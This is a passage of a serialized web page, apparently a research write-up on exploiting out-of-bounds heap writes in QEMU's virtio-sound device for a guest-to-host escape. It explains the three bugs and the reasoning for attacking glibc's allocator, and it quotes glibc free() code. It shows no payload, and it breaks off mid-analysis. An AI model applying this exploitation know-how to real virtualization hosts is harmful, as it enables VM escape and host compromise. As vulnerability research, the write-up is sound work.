*/\n",{"type":22,"tag":264,"props":127289,"children":127290},{"class":1534,"line":4989},[127291,127295,127299,127304,127308,127313,127317,127321],{"type":22,"tag":264,"props":127292,"children":127293},{"style":1549},[127294],{"type":27,"value":127154},{"type":22,"tag":264,"props":127296,"children":127297},{"style":1539},[127298],{"type":27,"value":15056},{"type":22,"tag":264,"props":127300,"children":127301},{"style":1549},[127302],{"type":27,"value":127303},"channels",{"type":22,"tag":264,"props":127305,"children":127306},{"style":4309},[127307],{"type":27,"value":4312},{"type":22,"tag":264,"props":127309,"children":127310},{"style":1549},[127311],{"type":27,"value":127312}," params",{"type":22,"tag":264,"props":127314,"children":127315},{"style":1539},[127316],{"type":27,"value":15056},{"type":22,"tag":264,"props":127318,"children":127319},{"style":1549},[127320],{"type":27,"value":127303},{"type":22,"tag":264,"props":127322,"children":127323},{"style":1539},[127324],{"type":27,"value":4322},{"type":22,"tag":264,"props":127326,"children":127327},{"class":1534,"line":4998},[127328,127332,127336,127341,127345,127349,127353,127357],{"type":22,"tag":264,"props":127329,"children":127330},{"style":1549},[127331],{"type":27,"value":127154},{"type":22,"tag":264,"props":127333,"children":127334},{"style":1539},[127335],{"type":27,"value":15056},{"type":22,"tag":264,"props":127337,"children":127338},{"style":1549},[127339],{"type":27,"value":127340},"format",{"type":22,"tag":264,"props":127342,"children":127343},{"style":4309},[127344],{"type":27,"value":4312},{"type":22,"tag":264,"props":127346,"children":127347},{"style":1549},[127348],{"type":27,"value":127312},{"type":22,"tag":264,"props":127350,"children":127351},{"style":1539},[127352],{"type":27,"value":15056},{"type":22,"tag":264,"props":127354,"children":127355},{"style":1549},[127356],{"type":27,"value":127340},{"type":22,"tag":264,"props":127358,"children":127359},{"style":1539},[127360],{"type":27,"value":4322},{"type":22,"tag":264,"props":127362,"children":127363},{"class":1534,"line":5067},[127364,127368,127372,127377,127381,127385,127389,127393],{"type":22,"tag":264,"props":127365,"children":127366},{"style":1549},[127367],{"type":27,"value":127154},{"type":22,"tag":264,"props":127369,"children":127370},{"style":1539},[127371],{"type":27,"value":15056},{"type":22,"tag":264,"props":127373,"children":127374},{"style":1549},[127375],{"type":27,"value":127376},"rate",{"type":22,"tag":264,"props":127378,"children":127379},{"style":4309},[127380],{"type":27,"value":4312},{"type":22,"tag":264,"props":127382,"children":127383},{"style":1549},[127384],{"type":27,"value":127312},{"type":22,"tag":264,"props":127386,"children":127387},{"style":1539},[127388],{"type":27,"value":15056},{"type":22,"tag":264,"props":127390,"children":127391},{"style":1549},[127392],{"type":27,"value":127376},{"type":22,"tag":264,"props":127394,"children":127395},{"style":1539},[127396],{"type":27,"value":4322},{"type":22,"tag":264,"props":127398,"children":127399},{"class":1534,"line":5075},[127400],{"type":22,"tag":264,"props":127401,"children":127402},{"emptyLinePlaceholder":17},[127403],{"type":27,"value":4986},{"type":22,"tag":264,"props":127405,"children":127406},{"class":1534,"line":5105},[127407,127411,127416],{"type":22,"tag":264,"props":127408,"children":127409},{"style":4328},[127410],{"type":27,"value":18291},{"type":22,"tag":264,"props":127412,"children":127413},{"style":4401},[127414],{"type":27,"value":127415}," cpu_to_le32",{"type":22,"tag":264,"props":127417,"children":127418},{"style":1539},[127419],{"type":27,"value":127420},"(VIRTIO_SND_S_OK);\n",{"type":22,"tag":264,"props":127422,"children":127423},{"class":1534,"line":5113},[127424],{"type":22,"tag":264,"props":127425,"children":127426},{"style":1539},[127427],{"type":27,"value":1692},{"type":22,"tag":23,"props":127429,"children":127430},{},[127431,127433,127438,127440,127446,127448,127453,127455,127460,127462,127468,127469,127474],{"type":27,"value":127432},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":22,"tag":257,"props":127434,"children":127436},{"className":127435},[],[127437],{"type":27,"value":4725},{"type":27,"value":127439},") and signed (",{"type":22,"tag":257,"props":127441,"children":127443},{"className":127442},[],[127444],{"type":27,"value":127445},"s8",{"type":27,"value":127447},") samples. They encode the same waveform differently - silence is ",{"type":22,"tag":257,"props":127449,"children":127451},{"className":127450},[],[127452],{"type":27,"value":30753},{"type":27,"value":127454}," in ",{"type":22,"tag":257,"props":127456,"children":127458},{"className":127457},[],[127459],{"type":27,"value":4725},{"type":27,"value":127461},", but ",{"type":22,"tag":257,"props":127463,"children":127465},{"className":127464},[],[127466],{"type":27,"value":127467},"0x00",{"type":27,"value":127454},{"type":22,"tag":257,"props":127470,"children":127472},{"className":127471},[],[127473],{"type":27,"value":127445},{"type":27,"value":210},{"type":22,"tag":20097,"props":127476,"children":127477},{},[],{"type":22,"tag":23,"props":127479,"children":127480},{},[127481],{"type":27,"value":127482},"To summarize:",{"type":22,"tag":1867,"props":127484,"children":127485},{},[127486,127505,127523],{"type":22,"tag":1871,"props":127487,"children":127488},{},[127489,127491,127496,127498,127503],{"type":27,"value":127490},"an integer underflow in the ",{"type":22,"tag":257,"props":127492,"children":127494},{"className":127493},[],[127495],{"type":27,"value":125560},{"type":27,"value":127497}," calculation in ",{"type":22,"tag":257,"props":127499,"children":127501},{"className":127500},[],[127502],{"type":27,"value":125065},{"type":27,"value":127504},", resulting in an 8-byte (or less) under-allocation",{"type":22,"tag":1871,"props":127506,"children":127507},{},[127508,127510,127515,127516,127521],{"type":27,"value":127509},"a mismatch in the ",{"type":22,"tag":257,"props":127511,"children":127513},{"className":127512},[],[127514],{"type":27,"value":126792},{"type":27,"value":127497},{"type":22,"tag":257,"props":127517,"children":127519},{"className":127518},[],[127520],{"type":27,"value":126890},{"type":27,"value":127522},", leading to at most 8-byte OOB write",{"type":22,"tag":1871,"props":127524,"children":127525},{},[127526,127528,127533,127535,127540,127542,127547],{"type":27,"value":127527},"a missing bound in the ",{"type":22,"tag":257,"props":127529,"children":127531},{"className":127530},[],[127532],{"type":27,"value":125560},{"type":27,"value":127534}," passed to ",{"type":22,"tag":257,"props":127536,"children":127538},{"className":127537},[],[127539],{"type":27,"value":126910},{"type":27,"value":127541},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":22,"tag":257,"props":127543,"children":127545},{"className":127544},[],[127546],{"type":27,"value":126933},{"type":27,"value":83615},{"type":22,"tag":23,"props":127549,"children":127550},{},[127551,127553,127558,127560,127565,127567,127573],{"type":27,"value":127552},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":22,"tag":257,"props":127554,"children":127556},{"className":127555},[],[127557],{"type":27,"value":126933},{"type":27,"value":127559},", but in our setup with the ALSA backend, ",{"type":22,"tag":257,"props":127561,"children":127563},{"className":127562},[],[127564],{"type":27,"value":126933},{"type":27,"value":127566}," was consistently around ",{"type":22,"tag":257,"props":127568,"children":127570},{"className":127569},[],[127571],{"type":27,"value":127572},"4096",{"type":27,"value":210},{"type":22,"tag":23,"props":127575,"children":127576},{},[127577,127579,127586,127587,127594],{"type":27,"value":127578},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":22,"tag":69,"props":127580,"children":127583},{"href":127581,"rel":127582},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[73],[127584],{"type":27,"value":127585},"commit 1",{"type":27,"value":4380},{"type":22,"tag":69,"props":127588,"children":127591},{"href":127589,"rel":127590},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[73],[127592],{"type":27,"value":127593},"commit 2",{"type":27,"value":127595},") in the very same week that we independently found them while manually reviewing the code.",{"type":22,"tag":169,"props":127597,"children":127598},{"id":101429},[127599],{"type":27,"value":101432},{"type":22,"tag":23,"props":127601,"children":127602},{},[127603],{"type":27,"value":127604},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":22,"tag":23,"props":127606,"children":127607},{},[127608],{"type":27,"value":127609},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":22,"tag":181,"props":127611,"children":127613},{"id":127612},"achieving-a-better-primitive",[127614],{"type":27,"value":127615},"Achieving a Better Primitive",{"type":22,"tag":23,"props":127617,"children":127618},{},[127619],{"type":27,"value":127620},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":22,"tag":23,"props":127622,"children":127623},{},[127624],{"type":27,"value":127625},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":22,"tag":23,"props":127627,"children":127628},{},[127629],{"type":27,"value":127630},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":22,"tag":20197,"props":127632,"children":127634},{"id":127633},"glibc-allocator",[127635],{"type":27,"value":127636},"Glibc Allocator",{"type":22,"tag":23,"props":127638,"children":127639},{},[127640,127642,127649],{"type":27,"value":127641},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":22,"tag":69,"props":127643,"children":127646},{"href":127644,"rel":127645},"https://github.com/shellphish/how2heap",[73],[127647],{"type":27,"value":127648},"how2heap",{"type":27,"value":210},{"type":22,"tag":38660,"props":127651,"children":127653},{"id":127652},"chunk-layout-and-bins",[127654],{"type":27,"value":127655},"Chunk Layout and Bins",{"type":22,"tag":23,"props":127657,"children":127658},{},[127659],{"type":27,"value":127660},"A chunk looks like this:",{"type":22,"tag":618,"props":127662,"children":127664},{"code":127663},"       +0x0          +0x8\n      +-------------+-------------+\n      |  prev_size  |    size     |\n      +---------------------------+\n+0x10 |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |  41 41 41 41 41 41 41 41  |\n      |                           |\n      |           . . .           |\n",[127665],{"type":22,"tag":257,"props":127666,"children":127667},{"__ignoreMap":7},[127668],{"type":27,"value":127663},{"type":22,"tag":23,"props":127670,"children":127671},{},[127672,127674,127680,127682,127688,127689,127694,127695,127701,127703,127708,127710,127715,127717,127723,127724,127730,127732,127738],{"type":27,"value":127673},"The first 16 bytes form the chunk header. It consists of the ",{"type":22,"tag":257,"props":127675,"children":127677},{"className":127676},[],[127678],{"type":27,"value":127679},"prev_size",{"type":27,"value":127681}," field at offset ",{"type":22,"tag":257,"props":127683,"children":127685},{"className":127684},[],[127686],{"type":27,"value":127687},"0x0",{"type":27,"value":38864},{"type":22,"tag":257,"props":127690,"children":127692},{"className":127691},[],[127693],{"type":27,"value":125560},{"type":27,"value":127681},{"type":22,"tag":257,"props":127696,"children":127698},{"className":127697},[],[127699],{"type":27,"value":127700},"0x8",{"type":27,"value":127702},". As the name suggests, ",{"type":22,"tag":257,"props":127704,"children":127706},{"className":127705},[],[127707],{"type":27,"value":127679},{"type":27,"value":127709}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":22,"tag":257,"props":127711,"children":127713},{"className":127712},[],[127714],{"type":27,"value":125560},{"type":27,"value":127716}," stores the size of the current chunk and three special bits of which ",{"type":22,"tag":257,"props":127718,"children":127720},{"className":127719},[],[127721],{"type":27,"value":127722},"PREV_INUSE",{"type":27,"value":12290},{"type":22,"tag":257,"props":127725,"children":127727},{"className":127726},[],[127728],{"type":27,"value":127729},"IS_MMAPPED",{"type":27,"value":127731}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":22,"tag":257,"props":127733,"children":127735},{"className":127734},[],[127736],{"type":27,"value":127737},"0x10",{"type":27,"value":210},{"type":22,"tag":23,"props":127740,"children":127741},{},[127742],{"type":27,"value":127743},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread cache, or tcache. Tcache stores recently freed chunks in size-segregated singly linked lists and is generally the first place glibc looks when servicing small allocations.",{"type":22,"tag":38660,"props":127745,"children":127747},{"id":127746},"free-path",[127748],{"type":27,"value":127749},"free() path",{"type":22,"tag":23,"props":127751,"children":127752},{},[127753,127755,127761],{"type":27,"value":127754},"Let’s first look at the ",{"type":22,"tag":257,"props":127756,"children":127758},{"className":127757},[],[127759],{"type":27,"value":127760},"free()",{"type":27,"value":127762}," path in glibc 2.40:",{"type":22,"tag":618,"props":127764,"children":127766},{"code":127765,"language":4449,"meta":7,"className":17815,"style":7},"__libc_free (void *mem)\n{\n  mstate ar_ptr;\n  mchunkptr p;\n\n  p = mem2chunk (mem);\n  if (chunk_is_mmapped (p))\n    {\n      munmap_chunk (p);\n    }\n  else\n    {\n      MAYBE_INIT_TCACHE ();\n\n      ar_ptr = arena_for_chunk (p);\n      _int_free (ar_ptr, p, 0);\n    }\n}\n",[127767],{"type":22,"tag":257,"props":127768,"children":127769},{"__ignoreMap":7},[127770,127798,127805,127813,127821,127828,127850,127871,127878,127891,127898,127906,127913,127926,127933,127954,127975,127982],{"type":22,"tag":264,"props":127771,"children":127772},{"class":1534,"line":1535},[127773,127778,127782,127786,127790,127794],{"type":22,"tag":264,"props":127774,"children":127775},{"style":4401},[127776],{"type":27,"value":127777},"__libc_free",{"type":22,"tag":264,"props":127779,"children":127780},{"style":1539},[127781],{"type":27,"value":4370},{"type":22,"tag":264,"props":127783,"children":127784},{"style":4293},[127785],{"type":27,"value":52948},{"type":22,"tag":264,"props":127787,"children":127788},{"style":4309},[127789],{"type":27,"value":11115},{"type":22,"tag":264,"props":127791,"children":127792},{"style":1549},[127793],{"type":27,"value":41979},{"type":22,"tag":264,"props":127795,"children":127796},{"style":1539},[127797],{"type":27,"value":4463},{"type":22,"tag":264,"props":127799,"children":127800},{"class":1534,"line":1545},[127801],{"type":22,"tag":264,"props":127802,"children":127803},{"style":1539},[127804],{"type":27,"value":1542},{"type":22,"tag":264,"props":127806,"children":127807},{"class":1534,"line":1560},[127808],{"type":22,"tag":264,"props":127809,"children":127810},{"style":1539},[127811],{"type":27,"value":127812},"  mstate ar_ptr;\n",{"type":22,"tag":264,"props":127814,"children":127815},{"class":1534,"line":1569},[127816],{"type":22,"tag":264,"props":127817,"children":127818},{"style":1539},[127819],{"type":27,"value":127820},"  mchunkptr p;\n",{"type":22,"tag":264,"props":127822,"children":127823},{"class":1534,"line":1583},[127824],{"type":22,"tag":264,"props":127825,"children":127826},{"emptyLinePlaceholder":17},[127827],{"type":27,"value":4986},{"type":22,"tag":264,"props":127829,"children":127830},{"class":1534,"line":1603},[127831,127836,127840,127845],{"type":22,"tag":264,"props":127832,"children":127833},{"style":1539},[127834],{"type":27,"value":127835},"  p ",{"type":22,"tag":264,"props":127837,"children":127838},{"style":4309},[127839],{"type":27,"value":429},{"type":22,"tag":264,"props":127841,"children":127842},{"style":4401},[127843],{"type":27,"value":127844}," mem2chunk",{"type":22,"tag":264,"props":127846,"children":127847},{"style":1539},[127848],{"type":27,"value":127849}," (mem);\n",{"type":22,"tag":264,"props":127851,"children":127852},{"class":1534,"line":1612},[127853,127857,127861,127866],{"type":22,"tag":264,"props":127854,"children":127855},{"style":4328},[127856],{"type":27,"value":32709},{"type":22,"tag":264,"props":127858,"children":127859},{"style":1539},[127860],{"type":27,"value":4370},{"type":22,"tag":264,"props":127862,"children":127863},{"style":4401},[127864],{"type":27,"value":127865},"chunk_is_mmapped",{"type":22,"tag":264,"props":127867,"children":127868},{"style":1539},[127869],{"type":27,"value":127870}," (p))\n",{"type":22,"tag":264,"props":127872,"children":127873},{"class":1534,"line":1621},[127874],{"type":22,"tag":264,"props":127875,"children":127876},{"style":1539},[127877],{"type":27,"value":1566},{"type":22,"tag":264,"props":127879,"children":127880},{"class":1534,"line":1629},[127881,127886],{"type":22,"tag":264,"props":127882,"children":127883},{"style":4401},[127884],{"type":27,"value":127885},"      munmap_chunk",{"type":22,"tag":264,"props":127887,"children":127888},{"style":1539},[127889],{"type":27,"value":127890}," (p);\n",{"type":22,"tag":264,"props":127892,"children":127893},{"class":1534,"line":1642},[127894],{"type":22,"tag":264,"props":127895,"children":127896},{"style":1539},[127897],{"type":27,"value":1674},{"type":22,"tag":264,"props":127899,"children":127900},{"class":1534,"line":1660},[127901],{"type":22,"tag":264,"props":127902,"children":127903},{"style":4328},[127904],{"type":27,"value":127905},"  else\n",{"type":22,"tag":264,"props":127907,"children":127908},{"class":1534,"line":1668},[127909],{"type":22,"tag":264,"props":127910,"children":127911},{"style":1539},[127912],{"type":27,"value":1566},{"type":22,"tag":264,"props":127914,"children":127915},{"class":1534,"line":1677},[127916,127921],{"type":22,"tag":264,"props":127917,"children":127918},{"style":4401},[127919],{"type":27,"value":127920},"      MAYBE_INIT_TCACHE",{"type":22,"tag":264,"props":127922,"children":127923},{"style":1539},[127924],{"type":27,"value":127925}," ();\n",{"type":22,"tag":264,"props":127927,"children":127928},{"class":1534,"line":1686},[127929],{"type":22,"tag":264,"props":127930,"children":127931},{"emptyLinePlaceholder":17},[127932],{"type":27,"value":4986},{"type":22,"tag":264,"props":127934,"children":127935},{"class":1534,"line":4948},[127936,127941,127945,127950],{"type":22,"tag":264,"props":127937,"children":127938},{"style":1539},[127939],{"type":27,"value":127940},"      ar_ptr ",{"type":22,"tag":264,"props":127942,"children":127943},{"style":4309},[127944],{"type":27,"value":429},{"type":22,"tag":264,"props":127946,"children":127947},{"style":4401},[127948],{"type":27,"value":127949}," arena_for_chunk",{"type":22,"tag":264,"props":127951,"children":127952},{"style":1539},[127953],{"type":27,"value":127890},{"type":22,"tag":264,"props":127955,"children":127956},{"class":1534,"line":4957},[127957,127962,127967,127971],{"type":22,"tag":264,"props":127958,"children":127959},{"style":4401},[127960],{"type":27,"value":127961},"      _int_free",{"type":22,"tag":264,"props":127963,"children":127964},{"style":1539},[127965],{"type":27,"value":127966}," (ar_ptr, p, ",{"type":22,"tag":264,"props":127968,"children":127969},{"style":4344},[127970],{"type":27,"value":5334},{"type":22,"tag":264,"props":127972,"children":127973},{"style":1539},[127974],{"type":27,"value":5142},{"type":22,"tag":264,"props":127976,"children":127977},{"class":1534,"line":4980},[127978],{"type":22,"tag":264,"props":127979,"children":127980},{"style":1539},[127981],{"type":27,"value":1674},{"type":22,"tag":264,"props":127983,"children":127984},{"class":1534,"line":4989},[127985],{"type":22,"tag":264,"props":127986,"children":127987},{"style":1539},[127988],{"type":27,"value":1692},{"type":22,"tag":23,"props":127990,"children":127991},{},[127992,127994,127999,128001,128006,128008,128014,128016,128022,128024,128029,128031,128036,128038,128043,128045,128050],{"type":27,"value":127993},"We can see that if the ",{"type":22,"tag":257,"props":127995,"children":127997},{"className":127996},[],[127998],{"type":27,"value":127729},{"type":27,"value":128000}," bit is set in the corrupted ",{"type":22,"tag":257,"props":128002,"children":128004},{"className":128003},[],[128005],{"type":27,"value":125560},{"type":27,"value":128007}," field, glibc will call ",{"type":22,"tag":257,"props":128009,"children":128011},{"className":128010},[],[128012],{"type":27,"value":128013},"munmap_chunk",{"type":27,"value":128015},", which internally checks that ",{"type":22,"tag":257,"props":128017,"children":128019},{"className":128018},[],[128020],{"type":27,"value":128021},"prev_size + size",{"type":27,"value":128023}," is page-aligned. To reach the ",{"type":22,"tag":257,"props":128025,"children":128027},{"className":128026},[],[128028],{"type":27,"value":125560},{"type":27,"value":128030}," field, we first have to overwrite the entire 8-byte ",{"type":22,"tag":257,"props":128032,"children":128034},{"className":128033},[],[128035],{"type":27,"value":127679},{"type":27,"value":128037}," field with uncontrolled data. The chance that a corrupted ",{"type":22,"tag":257,"props":128039,"children":128041},{"className":128040},[],[128042],{"type":27,"value":128021},{"type":27,"value":128044}," value still ends up page-aligned is extremely small. In practice, if ",{"type":22,"tag":257,"props":128046,"children":128048},{"className":128047},[],[128049],{"type":27,"value":127729},{"type":27,"value":128051}," is set, the process will almost certainly abort before we can make use of the corruption.",{"type":22,"tag":23,"props":128053,"children":128054},{},[128055,128057,128062,128064,128070],{"type":27,"value":128056},"Assuming ",{"type":22,"tag":257,"props":128058,"children":128060},{"className":128059},[],[128061],{"type":27,"value":127729},{"type":27,"value":128063}," is not set, execution continues into ",{"type":22,"tag":257,"props":128065,"children":128067},{"className":128066},[],[128068],{"type":27,"value":128069},"_int_free",{"type":27,"value":5785},{"type":22,"tag":618,"props":128072,"children":128074},{"code":128073,"language":4449,"meta":7,"className":17815,"style":7},"static void\n_int_free (mstate av, mchunkptr p, int have_lock)\n{\n  INTERNAL_SIZE_T size;\n\n  size = chunksize (p);\n\n  /* Little security check which won't hurt performance: the\n     allocator never wraps around at the end of the address space.\n     Therefore we can exclude some size values which might appear\n     here by accident or by \"design\" from some intruder.  */\n  if (__builtin_expect ((uintptr_t) p > (uintptr_t) -size, 0)\n      || __builtin_expect (misaligned_chunk (p), 0))\n    malloc_printerr (\"free(): invalid pointer\");\n  /* We know that each chunk is at least MINSIZE bytes in size or a\n     multiple of MALLOC_ALIGNMENT.  */\n  if (__glibc_unlikely (size \u003C MINSIZE || !aligned_OK (size)))\n    malloc_printerr (\"free(): invalid size\");\n\n  check_inuse_chunk(av, p);\n\n  [...]\n",[128075],{"type":22,"tag":257,"props":128076,"children":128077},{"__ignoreMap":7},[128078,128090,128133,128140,128148,128155,128176,128183,128191,128199,128207,128215,128279,128314,128335,128343,128351,128399,128419,128426,128439,128446],{"type":22,"tag":264,"props":128079,"children":128080},{"class":1534,"line":1535},[128081,128085],{"type":22,"tag":264,"props":128082,"children":128083},{"style":4293},[128084],{"type":27,"value":52365},{"type":22,"tag":264,"props":128086,"children":128087},{"style":4293},[128088],{"type":27,"value":128089}," void\n",{"type":22,"tag":264,"props":128091,"children":128092},{"class":1534,"line":1545},[128093,128097,128102,128107,128112,128116,128120,128124,128129],{"type":22,"tag":264,"props":128094,"children":128095},{"style":4401},[128096],{"type":27,"value":128069},{"type":22,"tag":264,"props":128098,"children":128099},{"style":1539},[128100],{"type":27,"value":128101}," (mstate ",{"type":22,"tag":264,"props":128103,"children":128104},{"style":1549},[128105],{"type":27,"value":128106},"av",{"type":22,"tag":264,"props":128108,"children":128109},{"style":1539},[128110],{"type":27,"value":128111},", mchunkptr ",{"type":22,"tag":264,"props":128113,"children":128114},{"style":1549},[128115],{"type":27,"value":23},{"type":22,"tag":264,"props":128117,"children":128118},{"style":1539},[128119],{"type":27,"value":4380},{"type":22,"tag":264,"props":128121,"children":128122},{"style":4293},[128123],{"type":27,"value":20352},{"type":22,"tag":264,"props":128125,"children":128126},{"style":1549},[128127],{"type":27,"value":128128}," have_lock",{"type":22,"tag":264,"props":128130,"children":128131},{"style":1539},[128132],{"type":27,"value":4463},{"type":22,"tag":264,"props":128134,"children":128135},{"class":1534,"line":1560},[128136],{"type":22,"tag":264,"props":128137,"children":128138},{"style":1539},[128139],{"type":27,"value":1542},{"type":22,"tag":264,"props":128141,"children":128142},{"class":1534,"line":1569},[128143],{"type":22,"tag":264,"props":128144,"children":128145},{"style":1539},[128146],{"type":27,"value":128147},"  INTERNAL_SIZE_T size;\n",{"type":22,"tag":264,"props":128149,"children":128150},{"class":1534,"line":1583},[128151],{"type":22,"tag":264,"props":128152,"children":128153},{"emptyLinePlaceholder":17},[128154],{"type":27,"value":4986},{"type":22,"tag":264,"props":128156,"children":128157},{"class":1534,"line":1603},[128158,128163,128167,128172],{"type":22,"tag":264,"props":128159,"children":128160},{"style":1539},[128161],{"type":27,"value":128162},"  size ",{"type":22,"tag":264,"props":128164,"children":128165},{"style":4309},[128166],{"type":27,"value":429},{"type":22,"tag":264,"props":128168,"children":128169},{"style":4401},[128170],{"type":27,"value":128171}," chunksize",{"type":22,"tag":264,"props":128173,"children":128174},{"style":1539},[128175],{"type":27,"value":127890},{"type":22,"tag":264,"props":128177,"children":128178},{"class":1534,"line":1612},[128179],{"type":22,"tag":264,"props":128180,"children":128181},{"emptyLinePlaceholder":17},[128182],{"type":27,"value":4986},{"type":22,"tag":264,"props":128184,"children":128185},{"class":1534,"line":1621},[128186],{"type":22,"tag":264,"props":128187,"children":128188},{"style":4284},[128189],{"type":27,"value":128190},"  /* Little security check which won't hurt performance: the\n",{"type":22,"tag":264,"props":128192,"children":128193},{"class":1534,"line":1629},[128194],{"type":22,"tag":264,"props":128195,"children":128196},{"style":4284},[128197],{"type":27,"value":128198},"     allocator never wraps around at the end of the address space.\n",{"type":22,"tag":264,"props":128200,"children":128201},{"class":1534,"line":1642},[128202],{"type":22,"tag":264,"props":128203,"children":128204},{"style":4284},[128205],{"type":27,"value":128206},"     Therefore we can exclude some size values which might appear\n",{"type":22,"tag":264,"props":128208,"children":128209},{"class":1534,"line":1660},[128210],{"type":22,"tag":264,"props":128211,"children":128212},{"style":4284},[128213],{"type":27,"value":128214},"     here by accident or by \"design\" from some intruder.  */\n",{"type":22,"tag":264,"props":128216,"children":128217},{"class":1534,"line":1668},[128218,128222,128226,128231,128236,128241,128246,128250,128254,128258,128262,128266,128271,128275],{"type":22,"tag":264,"props":128219,"children":128220},{"style":4328},[128221],{"type":27,"value":32709},{"type":22,"tag":264,"props":128223,"children":128224},{"style":1539},[128225],{"type":27,"value":4370},{"type":22,"tag":264,"props":128227,"children":128228},{"style":4401},[128229],{"type":27,"value":128230},"__builtin_expect",{"type":22,"tag":264,"props":128232,"children":128233},{"style":1539},[128234],{"type":27,"value":128235}," ((",{"type":22,"tag":264,"props":128237,"children":128238},{"style":4293},[128239],{"type":27,"value":128240},"uintptr_t",{"type":22,"tag":264,"props":128242,"children":128243},{"style":1539},[128244],{"type":27,"value":128245},") p ",{"type":22,"tag":264,"props":128247,"children":128248},{"style":4309},[128249],{"type":27,"value":11760},{"type":22,"tag":264,"props":128251,"children":128252},{"style":1539},[128253],{"type":27,"value":4370},{"type":22,"tag":264,"props":128255,"children":128256},{"style":4293},[128257],{"type":27,"value":128240},{"type":22,"tag":264,"props":128259,"children":128260},{"style":1539},[128261],{"type":27,"value":4390},{"type":22,"tag":264,"props":128263,"children":128264},{"style":4309},[128265],{"type":27,"value":5621},{"type":22,"tag":264,"props":128267,"children":128268},{"style":1539},[128269],{"type":27,"value":128270},"size, ",{"type":22,"tag":264,"props":128272,"children":128273},{"style":4344},[128274],{"type":27,"value":5334},{"type":22,"tag":264,"props":128276,"children":128277},{"style":1539},[128278],{"type":27,"value":4463},{"type":22,"tag":264,"props":128280,"children":128281},{"class":1534,"line":1677},[128282,128287,128292,128296,128301,128306,128310],{"type":22,"tag":264,"props":128283,"children":128284},{"style":4309},[128285],{"type":27,"value":128286},"      ||",{"type":22,"tag":264,"props":128288,"children":128289},{"style":4401},[128290],{"type":27,"value":128291}," __builtin_expect",{"type":22,"tag":264,"props":128293,"children":128294},{"style":1539},[128295],{"type":27,"value":4370},{"type":22,"tag":264,"props":128297,"children":128298},{"style":4401},[128299],{"type":27,"value":128300},"misaligned_chunk",{"type":22,"tag":264,"props":128302,"children":128303},{"style":1539},[128304],{"type":27,"value":128305}," (p), ",{"type":22,"tag":264,"props":128307,"children":128308},{"style":4344},[128309],{"type":27,"value":5334},{"type":22,"tag":264,"props":128311,"children":128312},{"style":1539},[128313],{"type":27,"value":21018},{"type":22,"tag":264,"props":128315,"children":128316},{"class":1534,"line":1686},[128317,128322,128326,128331],{"type":22,"tag":264,"props":128318,"children":128319},{"style":4401},[128320],{"type":27,"value":128321},"    malloc_printerr",{"type":22,"tag":264,"props":128323,"children":128324},{"style":1539},[128325],{"type":27,"value":4370},{"type":22,"tag":264,"props":128327,"children":128328},{"style":1597},[128329],{"type":27,"value":128330},"\"free(): invalid pointer\"",{"type":22,"tag":264,"props":128332,"children":128333},{"style":1539},[128334],{"type":27,"value":5142},{"type":22,"tag":264,"props":128336,"children":128337},{"class":1534,"line":4948},[128338],{"type":22,"tag":264,"props":128339,"children":128340},{"style":4284},[128341],{"type":27,"value":128342},"  /* We know that each chunk is at least MINSIZE bytes in size or a\n",{"type":22,"tag":264,"props":128344,"children":128345},{"class":1534,"line":4957},[128346],{"type":22,"tag":264,"props":128347,"children":128348},{"style":4284},[128349],{"type":27,"value":128350},"     multiple of MALLOC_ALIGNMENT.  */\n",{"type":22,"tag":264,"props":128352,"children":128353},{"class":1534,"line":4980},[128354,128358,128362,128367,128372,128376,128381,128385,128389,128394],{"type":22,"tag":264,"props":128355,"children":128356},{"style":4328},[128357],{"type":27,"value":32709},{"type":22,"tag":264,"props":128359,"children":128360},{"style":1539},[128361],{"type":27,"value":4370},{"type":22,"tag":264,"props":128363,"children":128364},{"style":4401},[128365],{"type":27,"value":128366},"__glibc_unlikely",{"type":22,"tag":264,"props":128368,"children":128369},{"style":1539},[128370],{"type":27,"value":128371}," (size ",{"type":22,"tag":264,"props":128373,"children":128374},{"style":4309},[128375],{"type":27,"value":7097},{"type":22,"tag":264,"props":128377,"children":128378},{"style":1539},[128379],{"type":27,"value":128380}," MINSIZE ",{"type":22,"tag":264,"props":128382,"children":128383},{"style":4309},[128384],{"type":27,"value":23719},{"type":22,"tag":264,"props":128386,"children":128387},{"style":4309},[128388],{"type":27,"value":14162},{"type":22,"tag":264,"props":128390,"children":128391},{"style":4401},[128392],{"type":27,"value":128393},"aligned_OK",{"type":22,"tag":264,"props":128395,"children":128396},{"style":1539},[128397],{"type":27,"value":128398}," 